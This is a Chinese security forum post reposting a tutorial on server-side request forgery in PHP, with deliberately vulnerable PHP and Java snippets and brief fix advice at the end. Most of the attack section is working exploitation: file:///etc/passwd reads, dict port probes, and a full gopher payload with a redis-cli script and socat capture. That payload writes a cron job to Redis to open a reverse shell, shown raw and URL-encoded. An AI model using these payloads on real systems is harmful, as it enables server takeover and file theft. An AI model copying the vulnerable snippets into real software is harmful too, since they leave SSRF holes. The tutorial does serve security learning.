搜索
查看: 348|回复: 0

SSRF in PHP

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2017-4-7 14:43:17 | 显示全部楼层 |阅读模式
1. 漏洞简介
SSRF(Server-side Request Forge, 服务端请求伪造)。
由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务。
2. 漏洞利用
自从煤老板的paper放出来过后,SSRF逐渐被大家利用和重视起来。
2.1 本地利用
拿PHP常出现问题的cURL举例。
可以看到cURL支持大量的协议,别入file,dict,gopher,http
  1. ➜  pentest curl -V
  2. curl 7.43.0 (x86_64-apple-darwin15.0) libcurl/7.43.0 SecureTransport zlib/1.2.5
  3. Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp
  4. Features: AsynchDNS IPv6 Largefile GSS-API Kerberos SPNEGO NTLM NTLM_WB SSL libz UnixSockets
复制代码
本地利用姿势:
  1. # 利用file协议查看文件
  2. curl -v 'file:///etc/passwd'

  3. # 利用dict探测端口
  4. curl -v 'dict://127.0.0.1:22'
  5. curl -v 'dict://127.0.0.1:6379/info'

  6. # 利用gopher协议反弹shell
  7. curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$56%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'
复制代码
漏洞代码ssrf.php(未做任何SSRF防御)
  1. function curl($url){  
  2.     $ch = curl_init();
  3.     curl_setopt($ch, CURLOPT_URL, $url);
  4.     curl_setopt($ch, CURLOPT_HEADER, 0);
  5.     curl_exec($ch);
  6.     curl_close($ch);
  7. }

  8. $url = $_GET['url'];
  9. curl($url);
复制代码
远程利用方式:
  1. # 利用file协议任意文件读取
  2. curl -v 'http://sec.com:8082/sec/ssrf.php?url=file:///etc/passwd'

  3. # 利用dict协议查看端口
  4. curl -v 'http://sec.com:8082/sec/ssrf.php?url=dict://127.0.0.1:22'

  5. # 利用gopher协议反弹shell
  6. curl -v 'http://sec.com:8082/sec/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'
复制代码
漏洞代码ssrf2.php
  • 限制协议为HTTP、HTTPS
  • 设置跳转重定向为True(默认不跳转)
  1. <?php
  2. function curl($url){
  3.     $ch = curl_init();
  4.     curl_setopt($ch, CURLOPT_URL, $url);
  5.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);
  6.     // 限制为HTTPS、HTTP协议
  7.     curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
  8.     curl_setopt($ch, CURLOPT_HEADER, 0);
  9.     curl_exec($ch);
  10.     curl_close($ch);
  11. }

  12. $url = $_GET['url'];
  13. curl($url);
  14. ?>
复制代码
此时,再使用dict协议已经不成功。
  1. http://sec.com:8082/sec/ssrf2.php?url=dict://127.0.0.1:6379/info
复制代码
302跳转没测试成功。下次再测试下……
3. 如何转换成gopher协议
我刚一开始看到这个协议,有点一脸懵逼,不知道如何转换。希望写点经验给大家,有不对的地方,还望指出。
3.1 redis反弹shell
先写一个redis反弹shell的bash脚本如下:
我不喜欢用flushall,太不友好。
  1. echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n"|redis-cli -h $1 -p $2 -x set 1
  2. redis-cli -h $1 -p $2 config set dir /var/spool/cron/
  3. redis-cli -h $1 -p $2 config set dbfilename root
  4. redis-cli -h $1 -p $2 save
  5. redis-cli -h $1 -p $2 quit
复制代码
该代码很简单,在redis的第0个数据库中添加key为1,value为\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n的字段。最后会多出一个\n是因为echo重定向最后会自带一个换行符。
执行脚本命令:
  1. bash shell.sh 127.0.0.1 6379
复制代码
执行完脚本后:
  1. 127.0.0.1:6379> keys *
  2. 1) "name"
  3. 2) "1"
  4. 127.0.0.1:6379> get name
  5. "joychou"
  6. 127.0.0.1:6379> get 1
  7. "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n"
复制代码
想抓tcp数据包,我们可以使用socat进行端口转发。
转发命令如下:
  1. socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
复制代码
意思是将本地的4444端口转发到本地的6379端口。
即,有人访问该服务器的4444端口,访问的其实是该服务器的6379 redis服务。
所以,我们执行以下命令就可以了:
  1. bash shell.sh 127.0.0.1 4444
复制代码
返回如下:
  1. root@pentest:~/joychou/redis# socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
  2. > 2017/03/28 17:18:50.701362  length=83 from=0 to=82
  3. *3\r
  4. $3\r
  5. set\r
  6. $1\r
  7. 1\r
  8. $56\r


  9. */1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1


  10. \r
  11. < 2017/03/28 17:18:50.702358  length=5 from=0 to=4
  12. +OK\r
  13. > 2017/03/28 17:18:50.706954  length=57 from=0 to=56
  14. *4\r
  15. $6\r
  16. config\r
  17. $3\r
  18. set\r
  19. $3\r
  20. dir\r
  21. $16\r
  22. /var/spool/cron/\r
  23. < 2017/03/28 17:18:50.707996  length=5 from=0 to=4
  24. +OK\r
  25. > 2017/03/28 17:18:50.713159  length=52 from=0 to=51
  26. *4\r
  27. $6\r
  28. config\r
  29. $3\r
  30. set\r
  31. $10\r
  32. dbfilename\r
  33. $4\r
  34. root\r
  35. < 2017/03/28 17:18:50.713982  length=5 from=0 to=4
  36. +OK\r
  37. > 2017/03/28 17:18:50.718505  length=14 from=0 to=13
  38. *1\r
  39. $4\r
  40. save\r
  41. < 2017/03/28 17:18:50.727510  length=5 from=0 to=4
  42. +OK\r
  43. > 2017/03/28 17:18:50.730592  length=14 from=0 to=13
  44. *1\r
  45. $4\r
  46. quit\r
  47. < 2017/03/28 17:18:50.730839  length=5 from=0 to=4
  48. +OK\r
复制代码
gopher转换规则如下:
  • 如果第一个字符是>或者<那么丢弃该行字符串,表示请求和返回的时间。
  • 如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
  • 将\r字符串替换成%0d%0a
  • 空白行替换为%0a
替换后的结果为:
  1. *3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$56%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
复制代码
gopher协议使用方法:gopher://ip:port/_payload
接着将下面payload进行rawurlencode,可以使用php的该函数。
  1. gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$56%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
复制代码
最后的URL攻击payload为:
  1. curl -v 'http://sec.com:8082/sec/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'
复制代码
4. 漏洞代码4.1 php
  1. // 漏洞代码1
  2. function curl($url){  
  3.     $ch = curl_init();
  4.     curl_setopt($ch, CURLOPT_URL, $url);
  5.     curl_setopt($ch, CURLOPT_HEADER, 0);
  6.     curl_exec($ch);
  7.     curl_close($ch);
  8. }

  9. $url = $_GET['url'];
  10. curl($url);  



  11. // 漏洞代码2
  12. $url = $_GET['url'];;
  13. echo file_get_contents($url);



  14. // 漏洞代码3
  15. function GetFile($host,$port,$link)
  16. {
  17.     $fp = fsockopen($host, intval($port), $errno, $errstr, 30);
  18.     if (!$fp)
  19.     {
  20.         echo "$errstr (error number $errno) \n";
  21.     }
  22.     else
  23.     {
  24.         $out = "GET $link HTTP/1.1\r\n";
  25.         $out .= "Host: $host\r\n";
  26.         $out .= "Connection: Close\r\n\r\n";
  27.         $out .= "\r\n";
  28.         fwrite($fp, $out);
  29.         $contents='';
  30.         while (!feof($fp))
  31.         {
  32.             $contents.= fgets($fp, 1024);
  33.         }
  34.         fclose($fp);
  35.         return $contents;
  36.     }
  37. }

复制代码
4.2 java
org.apache.http.client.methods.HttpGet
  1.     public static void ssrfhttpget()
  2.     {

  3.         String url = "http://127.0.0.1:8000";

  4.         CloseableHttpClient client = HttpClients.createDefault();
  5.         HttpGet httpGet = new HttpGet(url);
  6.         HttpResponse httpResponse;
  7.         try {
  8.             httpResponse = client.execute(httpGet);

  9.             System.out.println("\nSending 'GET' request to URL : " + url);
  10.             System.out.println("Response Code : " +
  11.                     httpResponse.getStatusLine().getStatusCode());

  12.             BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));

  13.             StringBuffer result = new StringBuffer();
  14.             String line = "";
  15.             while ((line = rd.readLine()) != null) {
  16.                 result.append(line);
  17.             }

  18.             System.out.println(result.toString());
  19.         }catch (Exception e) {
  20.             e.printStackTrace();
  21.         }

  22.     }
复制代码
HttpURLConnection (java.net.HttpURLConnection)
  1.     public static void ssrfurlconnection()
  2.     {
  3.         try {
  4.             //String url = "dict://127.0.0.1:8080";
  5.             String url = "file:///etc/passwd";

  6.             URL obj = new URL(url);
  7.             HttpURLConnection conn = (HttpURLConnection) obj.openConnection();
  8.             conn.setReadTimeout(5000);
  9.             conn.addRequestProperty("Accept-Language", "en-US,en;q=0.8");
  10.             conn.addRequestProperty("User-Agent", "Mozilla");
  11.             conn.addRequestProperty("Referer", "http://baidu.com");

  12.             System.out.println("Request URL ... " + url);

  13.             int status = conn.getResponseCode();
  14.             System.out.println("Response Code ... " + status);

  15.             if (status == HttpURLConnection.HTTP_OK) {
  16.                 BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream()));
  17.                 String inputLine;
  18.                 StringBuffer html = new StringBuffer();

  19.                 while ((inputLine = in.readLine()) != null) {
  20.                     html.append(inputLine);
  21.                 }
  22.                 in.close();

  23.                 System.out.println("URL Content: \n" + html.toString());
  24.                 System.out.println("Done");

  25.             }
  26.         } catch (Exception e) {
  27.             e.printStackTrace();
  28.         }
  29.     }
复制代码
测试的过程中,java都不支持除了http、https协议的其他协议。
5. 漏洞修复
  • 限制协议为HTTP、HTTPS
  • 禁止30x跳转
  • 限制ip为内网ip
6. Referencefrom:http://joychou.org/index.php/web/phpssrf.html


过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表